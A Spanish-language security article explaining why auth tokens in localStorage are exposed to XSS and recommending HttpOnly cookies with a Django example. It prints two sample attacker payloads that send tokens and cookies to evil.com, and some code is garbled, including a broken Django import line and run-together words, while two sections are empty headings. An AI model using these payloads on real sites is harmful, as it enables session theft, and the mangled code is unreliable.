Deja de usar localStorage para los tokens de autenticación: un análisis en profundidad de la seguridad

El problema que todo el mundo ignora

// NO HAGAS 
ESTOconst login = async (credentials) => {
  const res = await fetch('/api/auth/login', { ... });
  const { access_token } = await res.json();
  localStorage.setItem('token', access_token); // <-- VULNERABLE
};

Cómo el XSS roba los tokens de localStorage

// Carga útil del atacante (inyectada a través del campo de comentarios, el script de un anuncio, etc.)
new Image().src = 'https://evil.com/steal?token='  
 + localStorage.getItem('token');

// O bien se filtran a través de 
fetchfetch('https://evil.com/collect', {
  method: 'POST',
  body: JSON.stringify({
    token: localStorage.getItem('token'),
    cookies: document.cookie,
    url: window.location.href
  })
});

El enfoque correcto: las cookies HttpOnly

# Backend de Django: establecer el token como una 
cookie HttpOnly from django.import JsonResponse from

 django.    # backend de Django: establecer el token como cookie HttpOnly    def login_view(request):
    user = authenticate(request)
    access_token = generate_jwt(user)
    refresh_token = generate_refresh_token(user)    

response = JsonResponse({'user': serialize(user)})    

 # HttpOnly: JavaScript no puede leerlo (seguro contra XSS)
    # Secure: solo se envía a través de HTTPS
    # SameSite=Lax: evita CSRF en la mayoría de las solicitudes
    response.set_cookie(
        'access_token', access_token,
        httponly=True,
        secure=True,
        samesite='Lax',
        max_age=15 * 60,  # 15 minutos
        path='/',
    )
    response.set_cookie(
        'refresh_token', refresh_token,
        httponly=True,
        secure=True,
        samesite='Lax',
        max_age=7 * 24 * 60 * 60,  # 7 días
        path='/api/auth/refresh/',  # solo se envía al punto final de actualización
    )
    return response

Interfaz de usuario: no es necesario gestionar tokens

// Frontend: las cookies se envían 
automáticamenteconst getProfile = async () => {
  const res = await fetch('/api/profile/', {
    credentials: 'include',  // incluir cookies
  });
  return res.json();
};

// Sin localStorage, sin análisis de tokens, sin encabezados de 
autenticación// El navegador envía la cookie HttpOnly automáticamente

Comparación: localStorage frente a las cookies HttpOnly

¿Y qué hay del CSRF?

En resumen

La seguridad no es una característica que se añada a posteriori. La elección entre cookies de localStorage y HttpOnly marca la diferencia entre «nos han hackeado» y «se ha mitigado el ataque».

— Guía rápida de autenticación de OWASP